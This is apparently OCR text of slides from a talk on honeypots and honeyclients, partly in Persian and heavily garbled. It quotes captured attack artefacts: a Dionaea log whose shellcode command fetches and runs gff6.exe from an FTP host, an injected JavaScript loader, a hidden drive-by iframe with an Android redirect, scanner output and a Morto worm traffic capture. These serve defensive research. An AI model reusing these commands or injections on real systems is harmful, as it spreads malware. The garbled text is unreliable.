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Honeypots: Challenges and Future Directions
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“A honeypot is a security resource whose value lies in being probed,
attacked, or compromised.” - Lance Spitzner
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10041120160 00:42:22] emu dionaea/emu.py:53: profiledump [{'return': '32', ‘args’
: ['emd /c echo open 60.10.179.100 2270 > i&echo 123>> i&echo 123>> i&echo bin >

> i&echo get gff6.exe >> i&echo quit >> i&ftp -s:i&del /F /Q i&gff6.exe\r\n', '©
‘], 'call': ‘wWintExec'}, {'return': '@', 'args': ['©'], 'call': 'ExitThread'}]

SplitResult(scheme='ftp', netloc='123:123@66.10.179.100:2270', path='/qff6.exe’,
query=""', fragment='")

[04112010 00:42:22] ftp dionaea/ftp.py:931: do download

(04112010 00:42:22] connection connection.c:3794: connection ©x9556118 none/tcp
type: none->connect

[04112010 00:42:22] connection connection.c:3827: connection 0x9556118 connect/t

cp/none [192.168.66.106:54482->] state: none->connecting

[04112010 ©0:42:22] logsql dionaea/logsql.py:464: connect connection to /66.10.1

79.100:2270 from 192.168.66.106:54482 (id=18648)

[04112010 00:42:22] logsql dionaea/logsql.py:515: parent ids (18644, 18644)
[04112010 00:42:22] logsql dionaea/logsql.py:518: child had ids (18648, 18648)
[04112010 00:42:22] logsql dionaea/logsql.py:523: child has ids (18644, 18648)
[04112010 00:42:22] logsql dionaea/logsql.py:524: child 18648 parent 18644 root
18644

[04112010 ©0:42:22] logsql dionaea/logsql.py:566: offer for attackid 18644

[04112010 00:42:22] cmd dionaea/cmd.py:241: ftp://123:123@660.10. 1‘3 100:2270//gf
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[root@nsl root]# ./winnie 198.108.62.0/24 & H d ~ . L’ 0' : o
pcap listening on eth® with filter "tcp and src net 198.108.62.0/24 LSLQ.WE) Oney LSA-’AS () LS’ )t)
* 0.0

and tcp[13] = 18"

winnie - honeyd scanner P k & . .L'o L PR . . -
target range: 198,108.62.0/24 acC et JiAM-!O ! g..Q_M.\S

scanning 256 unique addresses
repeating in max chunks of 256

scanning to begin in: Q—:—:—?;-Q—Q 5 Fragment Reassembly

3.,

2... - - . S

S8 Y 2 aSTCP sl s 4 b,
| S ? R TR

scanning 256 addresses at 198,108 .62.0

repeating 256 addresses at 198.108.62.0 . . "'

*** response from 198,108,62,144 \ “,L, \ “, t ‘ RST SYN

*** response from 198.108.62.145 d a . 3 ¢ . o Se 9

*** pasponse from 198.108.62.146

*** response from 198.108.62.147 . & d

ol
scanning complete, 256 addresses took 10.453581 seconds *
waiting for delayed replies...

exiting!
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Tue Mar 28 17:22:49 on ttyl
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Lin

[root@fairfax honeypot_demoltt Installing Sebek:
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[root@fairfax honeypot_demo It
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Jeblk_extract
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evi
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11 s]$ sh demo.sh
fairfax ..,
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installing the rootkit
3: creating an interactive snrll
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Syste

[NoSEBrEaK@Fairfax” ]#/bin‘hostnane
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cod |y mouse cudles oo Sl lgl> oS 5l oolanl b eSS coglnST ol @
sledled conmousemove olus ) casliv pac O g0 10 50,5 o s
S oos kel ) i Bre

document .cnmousemove function ()

{

(window.xyzflag @)
1

window.xyzflag = 1;
var head document. EHT'E].HTHHT' 5By T1|5N-4|Tv-'[: h!-'n'] :][I'!]j
var script = d 5
Jcr1pt type = 3

cript. nrraiﬁ tatvchnnEv Function ()
{

(this.readyState “complete™)
{
window.xyzflag = 2;
b

¥
cript.onload = function ()

window.xyzflag = 2;
b
script.src = url + Math.random().toString().substring(3)
head.appendChild(script);
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HoneyClient ;| y ,§

HoneyClient ;| 1 5 cuz )|,53500 lawgy a5 Ko slo SuST 5l Lo ®
| 00l oolaiiw]
HTTP Referrers ;| oolawl —
Conniis &3 bogs o slo S¢S 5l colatnl —
o9 ,5 90 | Jele piww fingerprinting sla oSS 5l oolanl —
1P o yo1 2 (6l b S Jaid e yma (slgime (40,5 g —
el ol ES 8 4 bg e ool aSlis IP slow yol 0,5 S —

Antivirus Tracker

54 entrys in avtracker.info database | Plain IPs | IRC | IP Tables | APT | .htaccess
HOST COUNTRY DATE, TIME COMPUTER USER os COMMENT
61.181.247.146 China sth Jun 10 Windows 5.1 AhnLab
LRouen-152-83-12-21.w80-13.abo.wanadoo.fr France 27th Jan 12 pco Administrator Windows 5.1 Anubis
lac49-1-82-245-40-203.fbx.proxad.net France 28th Jan 12 Anubis
128.130.56.11 Austria 20th Oct 09 pcé Administrator Windows 5.1 Anubis
128.130.56.12 Austria 20th Oct 09 pcs Administrator Windows 5.1 Anubis
128.130.56.14 Austria 17th Oct 09 pcs Administrator Windows 5.1 Anubis
128.130.56.16 Austria 15th Oct 09 pcs Administrator Windows 5.1 Anubis
worker-23.seclab.tuwien.ac.at Austria 7th Jun 10 pcd Administrator Windows 5.1 Anubis
worker-24.seclab.tuwien.ac.at Austria 19th Aug 10 pcd Administrator Windows 5.1 Anubis
128.130.56.68 Austria &th Jun 10 pc9 Administrator Windows 5.1 Anubis
LRouen-152-83-12-21.w80-13.abo.wanadoo.fr France 26th Jan 12 pcg Administrator Windows 5.1 Anubis, iSecLab
pd956851ic.dip0.t-ipconnect.de Germany 7th Jun 10 HEXPENG makrorechner Windows 5.1 Avira Lab
64.95.48.100 United States 1Sth Oct 09 NONE-DUSEZ58101 Administrator Windows 5.1 Basin Creations
3.bitdefender.com Romania 16th Oct 09 Bitdefender

http://www.zdnet.com/blog/security/nuclear-pack-exploit-kit-introduces-anti-honeyclient-crawling-feature/11538 :x.is &
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Attack successful?
Attack Capture-HPC Shelia WEF HoneyClient
Plain drive-by
VM detection
JavaScript FS checks
Hooks detection
HTTP referrer
JS timebomb
In-memory execution
Whitelist manipulation
Confusion attack

NHNANNSISXNNX
X NNSNANSNSx
NSNS SXNNX
NENAENNSESXNANX

Alexandros Kapravelos, "Escape from Monkey Island: Evading High-Interaction Honeyclients" «...*
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(a) The traditional Sebek-based approach (b) The proposed VMscope-based approach
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TOTAL MOBILE MALWARE SAMPLES ACROSS ALL OPERATING SYSTEMS
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o> s o paildy g WMo jI  Slastiy

blse sla 0,01 59, » Drive-by download &de> iolas °

1€ blgs ypogaxos slHoNeyClient —
O, eas S ol wg 3, 5l aS & g,u0l drive-by download malware .J5 —
ol o, May 2, 2012 50 s o )8 Bun 0450 1) ayg,al

 Hacked websites commonly have the following code inserted into the bottom of each page:

<iframe style="visibility: hidden; display: none; display: none;" src="hxxp://gaoanalitics.info/?id={1234567890-0000-DEAD-
BEEF-133713371337}"></iframe>

« When a PC-based web browser accesses the site in question, it returns a “not found” error.
When a browser with the word “Android” in its user-agent header accesses the site, however,
the following is returned:

<html><head></head><body><script type="text/javascript">window.top.location.href =
"hxxp://androidonlinefix.info/fix1.php";</script></body></html/>
13 .l =) 11:26 am

Downloads

Today
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f 59, Ob Sl
Dl W
Routing simulation Traffic control I) Output Traffic
L e [SSgp OMes> @S lp —
Traffic Analysis o e Lse "W Ls t'}i:s).?’ = M LS ﬁ

Rout "
-:aJﬂlir:g W Flows || Portscan |[ SSremare
e analysis || detection || deection . * [ )
menitoring | . y
..
* @

i
Traffic Capture MSlZ-OZO ng.ub MT -
\ 7
| Morto sl —

dlie S5 50 g, Db SGla soleriy (5)lens

2223 21194.78097 128.112.43.108 192.168.0.60 TCP 57772 > ms-wbt-server |ACK]| Seq=72792 Ack=14260 wWin=65252 Len=0
2225 21195.02766 192.168.0. 60 128.112.43.108 TPKT Continuation
2226 21195.05230 192.168.0. 60 128.112.43.108 TPKT Ccontinuation
2227 21195.16110 192.168.0.60 128.112.43.108 TPKT Continuation
2228 21195.19724 192.168.0.60 128.112.43,108 TPKT Continuation
57772 > mM5-WDT-Server
2230 21199.58181 192.168.0.60 210.141.112.163 DNS standard query TXT ms. jifr.net
2231 21200.57300 192.168.0.60 85.185.53.4 DNS standard query TXT ms. jifr.net
2232 21201.56679 192.168.0.60 203.172.246.41 DNS standard query TXT ms.jifr.net
2233 21201.98769 203.172.246.41 192.168.0.60 DNS standard query response, server failure

+# Frame 2224 (110 bytes on wire, 110 bytes captured)

+# Ethernet II, src: f0:7d:68:4a:cd:38 (f0:7d:68:4a:cd:38), Dst: Vmware_6e:e5:2¢e (00:0c:29:6e:e5:2e)

+ Internet Protocol, Src: 128.112.43.108 (128.112.43.108), Dst: 192.168.0.60 (192.168.0.60)

-l Transmission Control Protocol, Src Port: 57772 (57772), Dst Port: ms-wbt-server (3389), seq: 72792, ack: 14390, Len: 56
source port: 57772 (57772)

0000 00 Oc 29 6e e5 2e fO 7d 68 4a cd 38 08 00 45 00 ...+ hil.8..E.
0010 00 60 Ob ee 40 00 6c 06 95 9 80 70 2b 6c c0 a8 R - e N A T
0020 00 3c el ac [GEEE 11 82 d2 1b 9d a5 76 1c 50 18 <. ... -...V.P.
0030 3f 98 5d d4 00 00 03 00 0O 38 02 f0 80 64 00 04 % R L8 .d .

(Morto 33l ale>) LiRDP &l Sl o oads somlive sl collad
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Shadow Honeypot -

http://ics.forth.gr/dcs/Activities/papers/replay.pdf —

Anomalous Traffic

Normmal
Traffic

Shadow Honeypot

Server


http://ics.forth.gr/dcs/Activities/papers/replay.pdf
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